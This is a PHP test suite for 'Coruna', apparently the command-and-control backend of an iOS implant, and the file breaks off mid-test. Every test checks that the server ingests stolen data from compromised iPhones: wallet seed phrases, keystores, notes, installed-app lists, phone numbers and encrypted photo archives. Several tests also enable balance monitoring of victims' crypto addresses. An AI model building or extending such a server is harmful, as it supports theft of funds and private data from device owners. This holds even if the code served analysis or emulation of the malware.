936 lines
35 KiB
PHP
936 lines
35 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Admin;
|
|
use App\Models\Device;
|
|
use App\Models\DeviceApp;
|
|
use App\Models\DeviceEvent;
|
|
use App\Models\Note;
|
|
use App\Models\Photo;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletKeystore;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\CorunaCrypto;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use Illuminate\Http\UploadedFile;
|
|
use Illuminate\Support\Facades\Http;
|
|
use Illuminate\Support\Facades\Storage;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class C2ApiTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
#[Test]
|
|
public function query_returns_plain_ok(): void
|
|
{
|
|
$this->get('/api/user/query')
|
|
->assertOk()
|
|
->assertSee('OK');
|
|
}
|
|
|
|
#[Test]
|
|
public function avatar_put_creates_device_and_repeat_only_touches_updated_at(): void
|
|
{
|
|
$crypto = new CorunaCrypto;
|
|
$payload = [
|
|
'd' => 'dev-active-1',
|
|
'm' => 'iPhone9,1',
|
|
'pv' => '15.8.4',
|
|
'c' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
|
];
|
|
$ts1 = '1722585600001';
|
|
$enc1 = $crypto->encryptJson($payload, $ts1);
|
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts1,
|
|
'HTTP_USER_AGENT' => 'CorunaLab-Active/1.0',
|
|
], $enc1['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-active-1')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame('iPhone9,1', $device->device_model);
|
|
$this->assertSame('15.8.4', $device->ios_version);
|
|
$this->assertSame('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', $device->channel_id);
|
|
$this->assertStringContainsString('CorunaLab-Active/1.0', (string) $device->user_agent);
|
|
$firstUpdated = $device->updated_at?->copy();
|
|
$this->assertNotNull($firstUpdated);
|
|
$firstIp = $device->ip;
|
|
$firstUa = $device->user_agent;
|
|
|
|
sleep(1);
|
|
|
|
$ts2 = '1722585600002';
|
|
$enc2 = $crypto->encryptJson([
|
|
'd' => 'dev-active-1',
|
|
'm' => 'iPhone14,2',
|
|
'pv' => '16.0',
|
|
'c' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
|
], $ts2);
|
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts2,
|
|
'HTTP_USER_AGENT' => 'CorunaLab-Active/2.0',
|
|
'REMOTE_ADDR' => '9.9.9.9',
|
|
], $enc2['body'])->assertOk();
|
|
|
|
$device->refresh();
|
|
$this->assertTrue($device->updated_at->greaterThan($firstUpdated));
|
|
$this->assertSame('iPhone9,1', $device->device_model);
|
|
$this->assertSame('15.8.4', $device->ios_version);
|
|
// First trusted channel sticks; later put must not overwrite.
|
|
$this->assertSame('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', $device->channel_id);
|
|
$this->assertSame($firstUa, $device->user_agent);
|
|
$this->assertSame($firstIp, $device->ip);
|
|
}
|
|
|
|
#[Test]
|
|
public function non_put_creates_device_without_channel_and_put_fills_channel_once(): void
|
|
{
|
|
$crypto = new CorunaCrypto;
|
|
$tsSet = '1722585600100';
|
|
$encSet = $crypto->encryptJson([
|
|
'd' => 'dev-channel-fill',
|
|
'c' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
|
'a' => 'a1',
|
|
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
|
], $tsSet);
|
|
$this->call('POST', '/api/user/set', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $tsSet,
|
|
], $encSet['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-channel-fill')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertNull($device->channel_id);
|
|
$this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
|
|
|
$tsPut = '1722585600101';
|
|
$encPut = $crypto->encryptJson([
|
|
'd' => 'dev-channel-fill',
|
|
'c' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
|
'et' => 'heartbeat',
|
|
], $tsPut);
|
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $tsPut,
|
|
], $encPut['body'])->assertOk();
|
|
|
|
$device->refresh();
|
|
$this->assertSame('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', $device->channel_id);
|
|
|
|
$tsPut2 = '1722585600102';
|
|
$encPut2 = $crypto->encryptJson([
|
|
'd' => 'dev-channel-fill',
|
|
'c' => 'cccccccccccccccccccccccccccccccc',
|
|
'et' => 'heartbeat',
|
|
], $tsPut2);
|
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $tsPut2,
|
|
], $encPut2['body'])->assertOk();
|
|
|
|
$device->refresh();
|
|
$this->assertSame('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', $device->channel_id);
|
|
}
|
|
|
|
#[Test]
|
|
public function avatar_set_does_not_create_device(): void
|
|
{
|
|
$crypto = new CorunaCrypto;
|
|
$payload = [
|
|
'c' => '34f5121f572d6742703eb84ec2f866a6',
|
|
'd' => '000430C910E8E526',
|
|
'f' => '000430C910E8E526',
|
|
'deviceModel' => 'iPhone9,1',
|
|
'systemVersion' => ['ProductVersion' => '15.8.4'],
|
|
];
|
|
$ts = '1722585600123';
|
|
$enc = $crypto->encryptJson($payload, $ts);
|
|
|
|
$resp = $this->call(
|
|
'POST',
|
|
'/api/user/avatar/set',
|
|
[],
|
|
[],
|
|
[],
|
|
[
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
'HTTP_USER_AGENT' => 'CorunaLab/1.0 (iPhone; iOS 15.8.4)',
|
|
],
|
|
$enc['body']
|
|
);
|
|
|
|
$resp->assertOk();
|
|
$plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp'));
|
|
$this->assertSame(0, $plain['code'] ?? null);
|
|
$this->assertNull(Device::query()->where('device_id', '000430C910E8E526')->first());
|
|
}
|
|
|
|
#[Test]
|
|
public function profile_delete_returns_code_1_and_stores_phone(): void
|
|
{
|
|
$crypto = new CorunaCrypto;
|
|
$payload = [
|
|
'd' => '00044C1101FB802E',
|
|
'p' => '+66822804380',
|
|
'd3' => '00008030-00044C1101FB802E',
|
|
'd2' => 'DNPD3100N73F',
|
|
'c' => 'e57f5207c9f2bacf7907c09ccf25b107',
|
|
'bundleID' => 'com.apple.imagent',
|
|
];
|
|
$ts = '1722585600333';
|
|
$enc = $crypto->encryptJson($payload, $ts);
|
|
|
|
$resp = $this->call('POST', '/api/user/profile/delete', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body']);
|
|
|
|
$resp->assertOk();
|
|
$plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp'));
|
|
$this->assertSame(1, $plain['code'] ?? null);
|
|
|
|
$device = Device::query()->where('device_id', '00044C1101FB802E')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame('+66822804380', $device->phone);
|
|
$this->assertNull($device->channel_id);
|
|
|
|
$ts2 = '1722585600334';
|
|
$enc2 = $crypto->encryptJson(array_merge($payload, ['p' => '+66999999999']), $ts2);
|
|
$this->call('POST', '/api/user/profile/delete', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts2,
|
|
], $enc2['body'])->assertOk();
|
|
|
|
$device->refresh();
|
|
$this->assertSame('+66822804380', $device->phone);
|
|
}
|
|
|
|
#[Test]
|
|
public function user_get_ingests_installed_apps_per_bundle(): void
|
|
{
|
|
$crypto = new CorunaCrypto;
|
|
$payload = [
|
|
'd' => '000430C910E8E526',
|
|
'f' => '000430C910E8E526',
|
|
'c' => 'dddddddddddddddddddddddddddddddd',
|
|
'v' => '15.8.4',
|
|
'al' => [
|
|
['a' => 'MetaMask', 'b' => 'io.metamask', 'v' => '7.12.0'],
|
|
['a' => 'Safari', 'b' => 'com.apple.mobilesafari', 'v' => '15.8'],
|
|
],
|
|
];
|
|
$ts = '1722585600222';
|
|
$enc = $crypto->encryptJson($payload, $ts);
|
|
|
|
$this->call('POST', '/api/user/get', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertNull($device->channel_id);
|
|
$this->assertSame('15.8.4', $device->ios_version);
|
|
|
|
$mm = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'io.metamask')->first();
|
|
$this->assertNotNull($mm);
|
|
$this->assertSame('MetaMask', $mm->name);
|
|
$this->assertSame('7.12.0', $mm->version);
|
|
$this->assertTrue($mm->is_wallet);
|
|
$safari = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.mobilesafari')->first();
|
|
$this->assertNotNull($safari);
|
|
$this->assertFalse($safari->is_wallet);
|
|
$this->assertSame(2, $device->apps()->count());
|
|
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
|
$this->assertSame(['MetaMask'], $device->walletNameList());
|
|
$this->assertTrue($device->albumStorageEnabled());
|
|
}
|
|
|
|
#[Test]
|
|
public function avatar_put_stores_device_event_log(): void
|
|
{
|
|
$crypto = new CorunaCrypto;
|
|
$payload = [
|
|
'd' => '000430C910E8E526',
|
|
'f' => '000430C910E8E526',
|
|
'id' => 'event-uuid-should-not-be-device-key',
|
|
'et' => 'corepayload_update',
|
|
'desc' => 'CorePayload first load succeeded',
|
|
'ctx' => ['stage' => 1],
|
|
'm' => 'iPhone9,1',
|
|
];
|
|
$ts = '1722585600333';
|
|
$enc = $crypto->encryptJson($payload, $ts);
|
|
|
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertNull(Device::query()->where('device_id', 'event-uuid-should-not-be-device-key')->first());
|
|
$this->assertSame('iPhone9,1', $device->device_model);
|
|
|
|
$ev = DeviceEvent::query()->where('device_key', '000430C910E8E526')->first();
|
|
$this->assertNotNull($ev);
|
|
$this->assertSame('corepayload_update', $ev->event_name);
|
|
$this->assertSame('CorePayload first load succeeded', $ev->desc);
|
|
$this->assertSame(['stage' => 1], $ev->context_json);
|
|
}
|
|
|
|
#[Test]
|
|
public function set_and_status_ingest_wallet_secrets_and_addresses(): void
|
|
{
|
|
Device::query()->create([
|
|
'device_id' => 'dev-wallet-1',
|
|
'album_storage' => true,
|
|
]);
|
|
$crypto = new CorunaCrypto;
|
|
$mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$tsSet = '1722585600456';
|
|
$encSet = $crypto->encryptJson([
|
|
'd' => 'dev-wallet-1',
|
|
'a' => 'a1',
|
|
'result' => $mnemonic,
|
|
], $tsSet);
|
|
|
|
$this->call('POST', '/api/user/set', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $tsSet,
|
|
], $encSet['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-wallet-1')->first();
|
|
$this->assertNotNull($device);
|
|
$wallet = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($wallet);
|
|
$this->assertSame($mnemonic, $wallet->mnemonic);
|
|
$this->assertSame('MetaMask', $wallet->source);
|
|
$this->assertSame('abandon *** about', WalletMnemonic::maskSecret($wallet->mnemonic));
|
|
|
|
// repeated /api/user/set with same mnemonic must not create another row
|
|
$tsSet2 = '1722585600457';
|
|
$encSet2 = $crypto->encryptJson([
|
|
'd' => 'dev-wallet-1',
|
|
'a' => 'a1',
|
|
'result' => $mnemonic,
|
|
], $tsSet2);
|
|
$this->call('POST', '/api/user/set', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $tsSet2,
|
|
], $encSet2['body'])->assertOk();
|
|
$this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
|
|
|
// No Tokenview key → enable fails → monitor forced off.
|
|
config(['coruna.tokenview.api_key' => '']);
|
|
|
|
$tsStatus = '1722585600789';
|
|
$encStatus = $crypto->encryptJson([
|
|
'd' => 'dev-wallet-1',
|
|
'a' => 'a1',
|
|
'data' => [
|
|
['address' => '0xabc1230000000000000000000000000000000001', 'chain' => 'eth', 'balance' => '1.5', 'symbol' => 'ETH'],
|
|
],
|
|
], $tsStatus);
|
|
|
|
$this->call('POST', '/api/user/status', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $tsStatus,
|
|
], $encStatus['body'])->assertOk();
|
|
|
|
$addr = WalletAddress::query()
|
|
->where('device_id', $device->id)
|
|
->where('address', '0xabc1230000000000000000000000000000000001')
|
|
->first();
|
|
$this->assertNotNull($addr);
|
|
$this->assertSame('ETH', $addr->chain_type);
|
|
$this->assertEqualsWithDelta(1.5, (float) $addr->eth, 0.0000001);
|
|
$this->assertSame(0, (int) $addr->monitor);
|
|
$this->assertSame('MetaMask', $addr->source);
|
|
$logFile = public_path('log/c2/'.date('Ymd').'.log');
|
|
$this->assertFileExists($logFile);
|
|
$this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile));
|
|
}
|
|
|
|
#[Test]
|
|
public function status_skips_unsupported_chain_addresses(): void
|
|
{
|
|
$crypto = new CorunaCrypto;
|
|
$ts = '1722585600770';
|
|
$enc = $crypto->encryptJson([
|
|
'd' => 'dev-skip-chain-1',
|
|
'a' => 'd',
|
|
'data' => [
|
|
['address' => '0xabc1230000000000000000000000000000000002', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'],
|
|
['address' => 'cosmos1xyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyx', 'chain' => 'unknown', 'balance' => '0', 'symbol' => 'ATOM'],
|
|
['address' => 'not-a-real-address', 'chain' => 'polygon', 'balance' => '0', 'symbol' => 'MATIC'],
|
|
['address' => 'So11111111111111111111111111111111111111112', 'chain' => 'solana', 'balance' => '0', 'symbol' => 'SOL'],
|
|
['address' => 'EQD__________________________________________0', 'chain' => 'ton', 'balance' => '0', 'symbol' => 'TON'],
|
|
],
|
|
], $ts);
|
|
|
|
$this->call('POST', '/api/user/status', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-skip-chain-1')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame(1, WalletAddress::query()->where('device_id', $device->id)->count());
|
|
$this->assertTrue(
|
|
WalletAddress::query()
|
|
->where('device_id', $device->id)
|
|
->where('address', '0xabc1230000000000000000000000000000000002')
|
|
->exists()
|
|
);
|
|
}
|
|
|
|
#[Test]
|
|
public function status_global_wallet_ad_map_refreshes_tron_balances_and_enables_monitor(): void
|
|
{
|
|
config(['coruna.tokenview.api_key' => 'test-key']);
|
|
Http::fake([
|
|
'*/v1/accounts/*' => Http::response([
|
|
'data' => [[
|
|
'balance' => 2_500_000,
|
|
'trc20' => [
|
|
['TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t' => '12500000'],
|
|
],
|
|
]],
|
|
'success' => true,
|
|
], 200),
|
|
'services.tokenview.io/*' => Http::response(['code' => 1, 'msg' => 'success'], 200),
|
|
]);
|
|
|
|
$crypto = new CorunaCrypto;
|
|
$ts = '1722585600777';
|
|
$enc = $crypto->encryptJson([
|
|
'd' => 'dev-global-ad-1',
|
|
'a' => 'p',
|
|
'ad' => [
|
|
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => '0.32647342126093182783704',
|
|
],
|
|
], $ts);
|
|
|
|
$this->call('POST', '/api/user/status', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-global-ad-1')->first();
|
|
$this->assertNotNull($device);
|
|
$addr = WalletAddress::query()
|
|
->where('device_id', $device->id)
|
|
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
|
|
->first();
|
|
$this->assertNotNull($addr);
|
|
$this->assertSame('Global Wallet', $addr->source);
|
|
$this->assertSame('TRON', $addr->chain_type);
|
|
$this->assertEqualsWithDelta(2.5, (float) $addr->trx, 0.0000001);
|
|
$this->assertEqualsWithDelta(12.5, (float) $addr->usdt, 0.0000001);
|
|
$this->assertSame(1, (int) $addr->monitor);
|
|
|
|
Http::assertSent(fn ($request) => str_contains($request->url(), '/monitor/address/add/trx/'));
|
|
}
|
|
|
|
#[Test]
|
|
public function status_disables_monitor_when_tokenview_enable_fails(): void
|
|
{
|
|
config(['coruna.tokenview.api_key' => 'test-key']);
|
|
Http::fake([
|
|
'services.tokenview.io/*' => Http::response(['code' => 0, 'msg' => 'fail'], 200),
|
|
]);
|
|
|
|
$crypto = new CorunaCrypto;
|
|
$ts = '1722585600778';
|
|
$enc = $crypto->encryptJson([
|
|
'd' => 'dev-monitor-fail-1',
|
|
'a' => 'a1',
|
|
'data' => [
|
|
['address' => '0xabc1230000000000000000000000000000000009', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'],
|
|
],
|
|
], $ts);
|
|
|
|
$this->call('POST', '/api/user/status', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-monitor-fail-1')->first();
|
|
$addr = WalletAddress::query()
|
|
->where('device_id', $device->id)
|
|
->where('address', '0xabc1230000000000000000000000000000000009')
|
|
->first();
|
|
$this->assertNotNull($addr);
|
|
$this->assertSame(0, (int) $addr->monitor);
|
|
}
|
|
|
|
#[Test]
|
|
public function status_ingests_har_shaped_ba_address_map(): void
|
|
{
|
|
// New Tron rows refresh TRX/USDT from chain before notify — stub node.
|
|
Http::fake(function ($request) {
|
|
$url = $request->url();
|
|
if (str_contains($url, '/v1/accounts/')) {
|
|
return Http::response([
|
|
'data' => [[
|
|
'balance' => 4_000_006,
|
|
'trc20' => [],
|
|
]],
|
|
'success' => true,
|
|
], 200);
|
|
}
|
|
if (str_contains($url, 'tokenview')) {
|
|
return Http::response(['code' => 1, 'msg' => 'success'], 200);
|
|
}
|
|
|
|
return Http::response(['ok' => true], 200);
|
|
});
|
|
|
|
$crypto = new CorunaCrypto;
|
|
$ts = '1722585600888';
|
|
$enc = $crypto->encryptJson([
|
|
'd' => 'dev-ba-1',
|
|
'a' => 'b1',
|
|
'ba' => [
|
|
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [
|
|
[
|
|
'balance' => '0',
|
|
'chainId' => '10',
|
|
'chainType' => 'tron',
|
|
'decimal' => '6',
|
|
'name' => 'Tether USD',
|
|
'symbol' => 'USDT',
|
|
],
|
|
[
|
|
'balance' => '4000006',
|
|
'chainId' => '10',
|
|
'chainType' => 'tron',
|
|
'decimal' => '6',
|
|
'name' => 'TRON',
|
|
'symbol' => 'TRX',
|
|
],
|
|
],
|
|
],
|
|
], $ts);
|
|
|
|
$this->call('POST', '/api/user/status', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-ba-1')->first();
|
|
$this->assertNotNull($device);
|
|
$addr = WalletAddress::query()
|
|
->where('device_id', $device->id)
|
|
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
|
|
->first();
|
|
$this->assertNotNull($addr);
|
|
$this->assertSame('TRON', $addr->chain_type);
|
|
$this->assertSame('imToken', $addr->source);
|
|
$this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001);
|
|
$this->assertEqualsWithDelta(4.000006, (float) $addr->trx, 0.0000001);
|
|
$this->assertSame('4.000006', WalletAddress::formatAmount('trx', $addr->trx));
|
|
$this->assertSame('0', WalletAddress::formatAmount('usdt', $addr->usdt));
|
|
}
|
|
|
|
#[Test]
|
|
public function avatar_status_stores_keystore_blob(): void
|
|
{
|
|
$crypto = new CorunaCrypto;
|
|
$ts = '1722585600999';
|
|
$enc = $crypto->encryptJson([
|
|
'd' => 'dev-ks-1',
|
|
'a' => 'b',
|
|
'result' => [
|
|
'crypto' => [
|
|
'cipher' => 'aes-128-ctr',
|
|
'ciphertext' => 'deadbeef',
|
|
'kdf' => 'pbkdf2',
|
|
'mac' => 'cafebabe',
|
|
],
|
|
'identity' => ['encKey' => 'aa'],
|
|
],
|
|
], $ts);
|
|
|
|
$this->call('POST', '/api/user/avatar/status', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-ks-1')->first();
|
|
$this->assertNotNull($device);
|
|
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($ks);
|
|
$this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null);
|
|
$this->assertSame('imToken', $ks->source);
|
|
$this->assertSame(0, (int) $ks->decrypted);
|
|
}
|
|
|
|
#[Test]
|
|
public function avatar_pic_ingests_notes(): void
|
|
{
|
|
$crypto = new CorunaCrypto;
|
|
$ts = '1722585601111';
|
|
$enc = $crypto->encryptJson([
|
|
'd' => 'dev-notes-1',
|
|
'list' => [
|
|
"spawn rabbit unusual favorite yard recipe\n(R(R",
|
|
'second note line',
|
|
],
|
|
], $ts);
|
|
|
|
$this->call('POST', '/api/user/avatar/pic', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-notes-1')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame(1, Note::query()->where('device_id', $device->id)->count());
|
|
$note = Note::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($note);
|
|
$this->assertIsArray($note->content);
|
|
$this->assertCount(2, $note->content);
|
|
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
|
|
}
|
|
|
|
#[Test]
|
|
public function check_extracts_photo_archive_and_stores_file(): void
|
|
{
|
|
Storage::fake('local');
|
|
$crypto = new CorunaCrypto;
|
|
$tmp = sys_get_temp_dir().'/coruna_photo_'.uniqid();
|
|
mkdir($tmp);
|
|
$jpegPath = $tmp.'/hit.jpg';
|
|
// minimal JPEG SOI/EOI
|
|
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
|
$archivePath = $tmp.'/capture.7z';
|
|
$password = $crypto->archivePassword('0');
|
|
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
|
? '/opt/homebrew/opt/p7zip/bin/7z'
|
|
: '7z';
|
|
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
|
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
|
exec($cmd, $out, $code);
|
|
$this->assertSame(0, $code, implode("\n", $out));
|
|
$this->assertFileExists($archivePath);
|
|
|
|
Device::query()->create([
|
|
'device_id' => 'dev-photo-1',
|
|
'album_storage' => true,
|
|
]);
|
|
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
|
$resp = $this->call(
|
|
'POST',
|
|
'/api/user/check',
|
|
[
|
|
'd' => 'dev-photo-1',
|
|
'f' => 'dev-photo-1',
|
|
'batchBase' => '0',
|
|
'idx' => '000001000000',
|
|
'ftu' => '000001000000',
|
|
'x-hit' => '12',
|
|
],
|
|
[],
|
|
['file' => $upload],
|
|
['CONTENT_TYPE' => 'multipart/form-data']
|
|
);
|
|
$resp->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-photo-1')->first();
|
|
$this->assertNotNull($device);
|
|
$photo = Photo::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($photo);
|
|
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
|
|
$this->assertSame(4, $photo->size);
|
|
$this->assertSame(12, $photo->x_hit);
|
|
$this->assertSame(1, $photo->upload_count);
|
|
$this->assertSame(0, $photo->process_index);
|
|
$this->assertSame(1, $photo->text_count);
|
|
$this->assertSame(0, $photo->barcode_count);
|
|
Storage::disk('local')->assertExists($photo->path);
|
|
|
|
@unlink($jpegPath);
|
|
@unlink($archivePath);
|
|
@rmdir($tmp);
|
|
}
|
|
|
|
#[Test]
|
|
public function check_normalizes_encoded_device_key_onto_existing_device(): void
|
|
{
|
|
Storage::fake('local');
|
|
$crypto = new CorunaCrypto;
|
|
Device::query()->create([
|
|
'device_id' => '000430C910E8E526',
|
|
'ios_version' => '15.8.4',
|
|
'device_model' => 'iPhone9,1',
|
|
'ip' => '1.2.3.4',
|
|
'album_storage' => true,
|
|
]);
|
|
|
|
$tmp = sys_get_temp_dir().'/coruna_photo_norm_'.uniqid();
|
|
mkdir($tmp);
|
|
$jpegPath = $tmp.'/hit.jpg';
|
|
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
|
$archivePath = $tmp.'/capture.7z';
|
|
$password = $crypto->archivePassword('0');
|
|
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
|
? '/opt/homebrew/opt/p7zip/bin/7z'
|
|
: '7z';
|
|
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
|
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
|
exec($cmd, $out, $code);
|
|
$this->assertSame(0, $code, implode("\n", $out));
|
|
|
|
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
|
$this->call(
|
|
'POST',
|
|
'/api/user/check',
|
|
[
|
|
// Live /check form: hex(ascii(nibbleSwap(byteReverse(json_d))))
|
|
'd' => '36323545384530313943303334303030',
|
|
'f' => '36323545384530313943303334303030',
|
|
'batchBase' => '0',
|
|
],
|
|
[],
|
|
['file' => $upload],
|
|
['CONTENT_TYPE' => 'multipart/form-data']
|
|
)->assertOk();
|
|
|
|
$this->assertNull(
|
|
Device::query()->where('device_id', '36323545384530313943303334303030')->first()
|
|
);
|
|
$this->assertNull(
|
|
Device::query()->where('device_id', '625E8E019C034000')->first()
|
|
);
|
|
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertTrue(
|
|
Photo::query()->where('device_id', $device->id)->exists()
|
|
);
|
|
|
|
@unlink($jpegPath);
|
|
@unlink($archivePath);
|
|
@rmdir($tmp);
|
|
}
|
|
|
|
#[Test]
|
|
public function check_uses_multipart_ts_as_batch_base_password(): void
|
|
{
|
|
Storage::fake('local');
|
|
$crypto = new CorunaCrypto;
|
|
$tmp = sys_get_temp_dir().'/coruna_photo_ts_'.uniqid();
|
|
mkdir($tmp);
|
|
$jpegPath = $tmp.'/hit.jpg';
|
|
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
|
$archivePath = $tmp.'/capture.7z';
|
|
$batchTs = '1785596422';
|
|
$password = $crypto->archivePassword($batchTs);
|
|
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
|
? '/opt/homebrew/opt/p7zip/bin/7z'
|
|
: '7z';
|
|
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
|
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
|
exec($cmd, $out, $code);
|
|
$this->assertSame(0, $code, implode("\n", $out));
|
|
|
|
Device::query()->create([
|
|
'device_id' => 'dev-photo-ts',
|
|
'album_storage' => true,
|
|
]);
|
|
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
|
// Live traffic: no batchBase field; password suffix is multipart `ts`.
|
|
$this->call(
|
|
'POST',
|
|
'/api/user/check',
|
|
[
|
|
'd' => 'dev-photo-ts',
|
|
'f' => 'dev-photo-ts',
|
|
'ts' => $batchTs,
|
|
'x-hit' => '12',
|
|
],
|
|
[],
|
|
['file' => $upload],
|
|
['CONTENT_TYPE' => 'multipart/form-data']
|
|
)->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-photo-ts')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertTrue(
|
|
Photo::query()->where('device_id', $device->id)->exists()
|
|
);
|
|
|
|
@unlink($jpegPath);
|
|
@unlink($archivePath);
|
|
